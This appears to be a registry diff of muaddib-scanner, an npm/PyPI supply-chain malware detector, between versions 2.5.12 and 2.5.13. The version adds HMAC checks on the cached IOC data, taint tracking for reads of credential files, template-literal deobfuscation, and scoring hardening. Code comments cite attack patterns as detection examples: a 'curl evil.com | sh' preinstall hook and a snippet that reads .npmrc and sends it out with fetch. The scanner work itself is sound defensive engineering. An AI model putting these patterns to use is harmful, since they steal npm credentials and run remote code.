muaddib-scanner 2.5.12 → 2.5.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@1.0.0",
3
- "timestamp": "2026-03-07T16:18:04.719Z",
3
+ "timestamp": "2026-03-07T17:50:50.825Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/suspect-pkg@1.0",
3
- "timestamp": "2026-03-07T16:18:04.720Z",
3
+ "timestamp": "2026-03-07T17:50:50.826Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 0,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@1.0.0",
3
- "timestamp": "2026-03-07T16:18:04.720Z",
3
+ "timestamp": "2026-03-07T17:50:50.826Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "target": "npm/evil-pkg@2.0.0",
3
- "timestamp": "2026-03-07T16:18:05.033Z",
3
+ "timestamp": "2026-03-07T17:50:51.268Z",
4
4
  "ecosystem": "npm",
5
5
  "summary": {
6
6
  "critical": 1,
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "date": "2026-03-07",
3
- "timestamp": "2026-03-07T16:18:05.131Z",
3
+ "timestamp": "2026-03-07T17:50:51.399Z",
4
4
  "embed": {
5
5
  "embeds": [
6
6
  {
@@ -34,14 +34,14 @@
34
34
  },
35
35
  {
36
36
  "name": "Top Suspects",
37
- "value": "1. **npm/test-dedup-detection-1772900284717@1.0.0** — 1 finding(s)",
37
+ "value": "1. **npm/test-dedup-detection-1772905850823@1.0.0** — 1 finding(s)",
38
38
  "inline": false
39
39
  }
40
40
  ],
41
41
  "footer": {
42
- "text": "MUAD'DIB - Daily summary | 2026-03-07 16:18:05 UTC"
42
+ "text": "MUAD'DIB - Daily summary | 2026-03-07 17:50:51 UTC"
43
43
  },
44
- "timestamp": "2026-03-07T16:18:05.131Z"
44
+ "timestamp": "2026-03-07T17:50:51.399Z"
45
45
  }
46
46
  ]
47
47
  },
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.5.12",
3
+ "version": "2.5.13",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -1226,8 +1226,18 @@ async function runScraper() {
1226
1226
  }
1227
1227
  try {
1228
1228
  const tmpHomeFile = HOME_IOC_FILE + '.tmp';
1229
- fs.writeFileSync(tmpHomeFile, JSON.stringify(existingIOCs, null, 2));
1229
+ const homeJsonData = JSON.stringify(existingIOCs, null, 2);
1230
+ fs.writeFileSync(tmpHomeFile, homeJsonData);
1231
+ // Write HMAC before rename for consistency with updater.js
1232
+ const { generateIOCHMAC } = require('./updater.js');
1233
+ const homeHmac = generateIOCHMAC(homeJsonData);
1234
+ fs.writeFileSync(HOME_IOC_FILE + '.hmac', homeHmac);
1230
1235
  fs.renameSync(tmpHomeFile, HOME_IOC_FILE);
1236
+ // Mark HMAC as initialized
1237
+ const hmacMarker = path.join(homeDir, '.hmac-initialized');
1238
+ if (!fs.existsSync(hmacMarker)) {
1239
+ try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
1240
+ }
1231
1241
  saveSpinner.succeed('Saved IOCs + compact format + home directory');
1232
1242
  } catch (e) {
1233
1243
  saveSpinner.succeed('Saved IOCs + compact format (home dir write failed: ' + e.message + ')');
@@ -100,14 +100,19 @@ async function updateIOCs() {
100
100
  delete baseIOCs._fileSet;
101
101
 
102
102
  // Atomic write: write to .tmp then rename (UP-001)
103
+ // HMAC written BEFORE rename to prevent race condition (crash between rename and HMAC write)
103
104
  const tmpFile = CACHE_IOC_FILE + '.tmp';
104
105
  const jsonData = JSON.stringify(baseIOCs);
105
106
  fs.writeFileSync(tmpFile, jsonData);
106
- fs.renameSync(tmpFile, CACHE_IOC_FILE);
107
-
108
- // Write HMAC signature alongside the cache file
109
107
  const hmac = generateIOCHMAC(jsonData);
110
108
  fs.writeFileSync(CACHE_IOC_FILE + '.hmac', hmac);
109
+ fs.renameSync(tmpFile, CACHE_IOC_FILE);
110
+
111
+ // Mark HMAC as initialized — future loads require HMAC presence
112
+ const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
113
+ if (!fs.existsSync(hmacMarker)) {
114
+ try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
115
+ }
111
116
 
112
117
  const totalNpm = baseIOCs.packages.length;
113
118
  const totalPyPI = (baseIOCs.pypi_packages || []).length;
@@ -236,8 +241,15 @@ function loadCachedIOCs() {
236
241
  mergeIOCs(merged, JSON.parse(cachedData));
237
242
  }
238
243
  } else {
239
- // No HMAC file yet (first run or pre-HMAC version) load but warn
240
- mergeIOCs(merged, JSON.parse(cachedData));
244
+ // No HMAC file check if HMAC was previously initialized
245
+ const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
246
+ if (fs.existsSync(hmacMarker)) {
247
+ // HMAC was initialized before but .hmac file is missing → possible tampering
248
+ console.log('[WARN] IOC cache HMAC file missing but was previously initialized — skipping cache.');
249
+ } else {
250
+ // First run or pre-HMAC version — load but warn
251
+ mergeIOCs(merged, JSON.parse(cachedData));
252
+ }
241
253
  }
242
254
  } catch (e) {
243
255
  console.log('[WARN] Failed to load cached IOCs: ' + e.message);
@@ -246,6 +246,16 @@ function analyzeFile(content, filePath, basePath) {
246
246
  name: callName,
247
247
  line: node.loc?.start?.line
248
248
  });
249
+ // 4.2: fs.readFile callback data tainting
250
+ // fs.readFile('.npmrc', (err, data) => {...}) — taint `data` param
251
+ if (callName === 'readFile' || callName === 'fs.readFile') {
252
+ const lastArg = node.arguments[node.arguments.length - 1];
253
+ if (lastArg && (lastArg.type === 'FunctionExpression' || lastArg.type === 'ArrowFunctionExpression')) {
254
+ if (lastArg.params && lastArg.params.length >= 2 && lastArg.params[1].type === 'Identifier') {
255
+ sensitivePathVars.add(lastArg.params[1].name);
256
+ }
257
+ }
258
+ }
249
259
  }
250
260
  }
251
261
 
@@ -267,6 +277,35 @@ function analyzeFile(content, filePath, basePath) {
267
277
  }
268
278
  }
269
279
 
280
+ // 4.1: Promise .then() callback tainting
281
+ // fs.promises.readFile('.npmrc').then(data => fetch(url, {body: data}))
282
+ // Detect .then() on a call to fs.promises.readFile with sensitive path
283
+ if (node.callee.type === 'MemberExpression' &&
284
+ node.callee.property?.type === 'Identifier' && node.callee.property.name === 'then' &&
285
+ node.callee.object?.type === 'CallExpression') {
286
+ const innerCall = node.callee.object;
287
+ // Check if inner call is fs.promises.readFile(sensitivePath)
288
+ if (innerCall.callee?.type === 'MemberExpression' &&
289
+ innerCall.callee.object?.type === 'MemberExpression') {
290
+ const outerObj2 = innerCall.callee.object.object;
291
+ const mid2 = innerCall.callee.object.property;
292
+ const method2 = innerCall.callee.property;
293
+ if (outerObj2?.type === 'Identifier' && mid2?.type === 'Identifier' && mid2.name === 'promises' &&
294
+ method2?.type === 'Identifier' && method2.name === 'readFile') {
295
+ const isFs2 = outerObj2.name === 'fs' || (taintMap.get(outerObj2.name)?.source === 'fs');
296
+ if (isFs2 && innerCall.arguments[0] && isCredentialPath(innerCall.arguments[0], sensitivePathVars)) {
297
+ // Taint the first param of the .then() callback
298
+ const thenCb = node.arguments[0];
299
+ if (thenCb && (thenCb.type === 'FunctionExpression' || thenCb.type === 'ArrowFunctionExpression')) {
300
+ if (thenCb.params && thenCb.params.length >= 1 && thenCb.params[0].type === 'Identifier') {
301
+ sensitivePathVars.add(thenCb.params[0].name);
302
+ }
303
+ }
304
+ }
305
+ }
306
+ }
307
+ }
308
+
270
309
  if (callName === 'request' || callName === 'fetch' || callName === 'post' || callName === 'get') {
271
310
  sinks.push({
272
311
  type: 'network_send',
@@ -47,6 +47,24 @@ function deobfuscate(sourceCode) {
47
47
  });
48
48
  },
49
49
 
50
+ // ---- 1b. TEMPLATE LITERAL FOLDING ----
51
+ // `child_process` → 'child_process' (no expression templates)
52
+ // `child_${'process'}` → 'child_process' (with resolvable expressions)
53
+ TemplateLiteral(node) {
54
+ const folded = tryFoldConcat(node);
55
+ if (folded === null) return;
56
+ const before = sourceCode.slice(node.start, node.end);
57
+ const after = quoteString(folded);
58
+ if (before === after) return; // no change
59
+ replacements.push({
60
+ start: node.start,
61
+ end: node.end,
62
+ value: after,
63
+ type: 'template_literal',
64
+ before
65
+ });
66
+ },
67
+
50
68
  // ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
51
69
  CallExpression(node) {
52
70
  // String.fromCharCode(99, 104, 105, 108, 100) → "child"
@@ -199,14 +217,30 @@ function propagateConsts(sourceCode) {
199
217
  VariableDeclaration(node) {
200
218
  if (node.kind !== 'const') return;
201
219
  for (const decl of node.declarations) {
202
- if (decl.id?.type !== 'Identifier') continue;
203
220
  if (!decl.init) continue;
204
- if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
205
- constMap.set(decl.id.name, {
206
- value: decl.init.value,
207
- declStart: decl.init.start,
208
- declEnd: decl.init.end
209
- });
221
+ // Standard: const x = 'literal'
222
+ if (decl.id?.type === 'Identifier') {
223
+ if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
224
+ constMap.set(decl.id.name, {
225
+ value: decl.init.value,
226
+ declStart: decl.init.start,
227
+ declEnd: decl.init.end
228
+ });
229
+ }
230
+ }
231
+ // Array destructuring: const [a, b] = ['child_', 'process']
232
+ if (decl.id?.type === 'ArrayPattern' && decl.init?.type === 'ArrayExpression') {
233
+ for (let i = 0; i < decl.id.elements.length && i < decl.init.elements.length; i++) {
234
+ if (decl.id.elements[i]?.type === 'Identifier' &&
235
+ decl.init.elements[i]?.type === 'Literal' &&
236
+ typeof decl.init.elements[i].value === 'string') {
237
+ constMap.set(decl.id.elements[i].name, {
238
+ value: decl.init.elements[i].value,
239
+ declStart: decl.init.elements[i].start,
240
+ declEnd: decl.init.elements[i].end
241
+ });
242
+ }
243
+ }
210
244
  }
211
245
  }
212
246
  },
@@ -349,6 +383,23 @@ function tryFoldConcat(node, depth) {
349
383
  if (node.type === 'Literal' && typeof node.value === 'string') {
350
384
  return node.value;
351
385
  }
386
+ // TemplateLiteral without expressions → direct string
387
+ if (node.type === 'TemplateLiteral' && node.expressions.length === 0) {
388
+ return node.quasis.map(q => q.value.cooked).join('');
389
+ }
390
+ // TemplateLiteral with resolvable expressions
391
+ if (node.type === 'TemplateLiteral' && node.expressions.length > 0) {
392
+ const parts = [];
393
+ for (let i = 0; i < node.quasis.length; i++) {
394
+ parts.push(node.quasis[i].value.cooked);
395
+ if (i < node.expressions.length) {
396
+ const v = tryFoldConcat(node.expressions[i], depth + 1);
397
+ if (v === null) return null;
398
+ parts.push(v);
399
+ }
400
+ }
401
+ return parts.join('');
402
+ }
352
403
  if (node.type === 'BinaryExpression' && node.operator === '+') {
353
404
  const left = tryFoldConcat(node.left, depth + 1);
354
405
  if (left === null) return null;
package/src/scoring.js CHANGED
@@ -177,9 +177,21 @@ function applyFPReductions(threats, reachableFiles, packageName) {
177
177
  // Threshold raised from >1 to >4 (audit fix: >1 was trivially exploitable).
178
178
  const pluginLoaderCount = (typeCounts.dynamic_require || 0) + (typeCounts.dynamic_import || 0);
179
179
  if (pluginLoaderCount > 4) {
180
+ // Per-file: only downgrade in files that individually exceed threshold
181
+ // Prevents attacker from distributing 5+ requires across files to downgrade all
182
+ const perFilePluginCount = {};
183
+ for (const t of threats) {
184
+ if (t.type === 'dynamic_require' || t.type === 'dynamic_import') {
185
+ const f = t.file || '(unknown)';
186
+ perFilePluginCount[f] = (perFilePluginCount[f] || 0) + 1;
187
+ }
188
+ }
180
189
  for (const t of threats) {
181
190
  if ((t.type === 'dynamic_require' || t.type === 'dynamic_import') && t.severity === 'HIGH') {
182
- t.severity = 'LOW';
191
+ const f = t.file || '(unknown)';
192
+ if (perFilePluginCount[f] > 4) {
193
+ t.severity = 'LOW';
194
+ }
183
195
  }
184
196
  }
185
197
  }
@@ -199,7 +211,7 @@ function applyFPReductions(threats, reachableFiles, packageName) {
199
211
  // vm_code_execution: full bypass — packages with only vm.Script calls (cassandra-driver,
200
212
  // webpack, jest) are legitimate. Real malware using vm always has other signals
201
213
  // (network, fs, obfuscation). The >3 count threshold is sufficient protection.
202
- if (typeRatio < 0.5 ||
214
+ if (typeRatio < 0.4 ||
203
215
  (t.type === 'suspicious_dataflow' && typeRatio < 0.8) ||
204
216
  t.type === 'vm_code_execution') {
205
217
  t.severity = rule.to;
@@ -296,7 +308,12 @@ function calculateRiskScore(deduped) {
296
308
  }
297
309
 
298
310
  // 4. Compute package-level score (typosquat, lifecycle, dependency IOC, etc.)
299
- const packageScore = computeGroupScore(packageLevelThreats);
311
+ let packageScore = computeGroupScore(packageLevelThreats);
312
+ // Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
313
+ // A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
314
+ if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
315
+ packageScore = Math.max(packageScore, 50);
316
+ }
300
317
 
301
318
  // 5. Cross-file bonus: aggregate signal from non-max files
302
319
  // A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.